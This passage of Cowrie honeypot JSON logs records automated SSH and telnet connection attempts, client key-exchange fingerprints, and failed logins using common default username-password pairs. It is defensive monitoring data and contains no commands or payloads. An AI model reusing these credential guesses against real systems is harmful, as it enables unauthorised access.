a-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:42.972996Z","src_ip":"192.109.200.78","session":"1aa9ebecfd55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"administrator","message":"login attempt [administrator/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:43.545049Z","src_ip":"192.109.200.78","session":"1aa9ebecfd55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55434,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd2150e4ba93","protocol":"ssh","message":"New connection: 176.65.139.95:55434 (159.203.135.109:22) [session: bd2150e4ba93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:44.447782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:44.452336Z","src_ip":"176.65.139.95","session":"bd2150e4ba93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:44.538868Z","src_ip":"176.65.139.95","session":"bd2150e4ba93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:44.629117Z","src_ip":"192.109.200.78","session":"1aa9ebecfd55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:45.013799Z","src_ip":"176.65.139.95","session":"bd2150e4ba93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:46.099679Z","src_ip":"176.65.139.95","session":"bd2150e4ba93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.257572412490845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:47.043874Z","src_ip":"89.44.137.58","session":"05c7f7a45927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43798,"dst_ip":"159.203.135.109","dst_port":22,"session":"09c7b027229f","protocol":"ssh","message":"New connection: 192.109.200.78:43798 (159.203.135.109:22) [session: 09c7b027229f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:47.134881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:47.140399Z","src_ip":"192.109.200.78","session":"09c7b027229f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:47.229657Z","src_ip":"192.109.200.78","session":"09c7b027229f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:47.477318Z","src_ip":"192.109.200.78","session":"09c7b027229f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:48.585964Z","src_ip":"192.109.200.78","session":"09c7b027229f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.935388565063477,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:48.689114Z","src_ip":"1.126.105.76","session":"dd9d959a119d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54794,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea60ac6e169","protocol":"ssh","message":"New connection: 176.65.139.95:54794 (159.203.135.109:22) [session: bea60ac6e169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:50.660623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:50.670950Z","src_ip":"176.65.139.95","session":"bea60ac6e169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:50.748266Z","src_ip":"176.65.139.95","session":"bea60ac6e169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es","message":"login attempt [es/es] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:51.384324Z","src_ip":"176.65.139.95","session":"bea60ac6e169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51546,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b5e7a66a5d1","protocol":"ssh","message":"New connection: 192.109.200.78:51546 (159.203.135.109:22) [session: 6b5e7a66a5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:51.586503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:51.591049Z","src_ip":"192.109.200.78","session":"6b5e7a66a5d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:51.673464Z","src_ip":"192.109.200.78","session":"6b5e7a66a5d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"tom123","message":"login attempt [tom/tom123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:51.924272Z","src_ip":"192.109.200.78","session":"6b5e7a66a5d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:52.469658Z","src_ip":"176.65.139.95","session":"bea60ac6e169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00192093849182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:52.635950Z","src_ip":"152.59.179.89","session":"dcbe6ad67850","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:53.009595Z","src_ip":"192.109.200.78","session":"6b5e7a66a5d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":37144,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c1743a87899","protocol":"telnet","message":"New connection: 152.59.179.89:37144 (10.17.0.5:23) [session: 9c1743a87899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:53.829983Z"}
{"eventid":"cowrie.session.closed","duration":30.68620252609253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:54.059572Z","src_ip":"62.113.202.175","session":"a27ba2c2fdfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51562,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a26fe0ed44b","protocol":"ssh","message":"New connection: 192.109.200.78:51562 (159.203.135.109:22) [session: 6a26fe0ed44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:55.547713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:55.552063Z","src_ip":"192.109.200.78","session":"6a26fe0ed44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:55.633775Z","src_ip":"192.109.200.78","session":"6a26fe0ed44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:56.040348Z","src_ip":"192.109.200.78","session":"6a26fe0ed44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54818,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c2d82c71b35","protocol":"ssh","message":"New connection: 176.65.139.95:54818 (159.203.135.109:22) [session: 1c2d82c71b35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:56.964729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:57.116076Z","src_ip":"176.65.139.95","session":"1c2d82c71b35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:57.119827Z","src_ip":"176.65.139.95","session":"1c2d82c71b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:57.126300Z","src_ip":"192.109.200.78","session":"6a26fe0ed44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:57.722869Z","src_ip":"176.65.139.95","session":"1c2d82c71b35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:58.822345Z","src_ip":"176.65.139.95","session":"1c2d82c71b35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55628,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dd2c59b3445","protocol":"ssh","message":"New connection: 192.109.200.78:55628 (159.203.135.109:22) [session: 4dd2c59b3445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:59.755464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:59.761014Z","src_ip":"192.109.200.78","session":"4dd2c59b3445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:02:59.845488Z","src_ip":"192.109.200.78","session":"4dd2c59b3445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:00.094030Z","src_ip":"192.109.200.78","session":"4dd2c59b3445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:01.182092Z","src_ip":"192.109.200.78","session":"4dd2c59b3445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38232,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1de70b46248","protocol":"ssh","message":"New connection: 176.65.139.95:38232 (159.203.135.109:22) [session: e1de70b46248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:03.463044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:03:03.469378Z","src_ip":"176.65.139.95","session":"e1de70b46248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","ae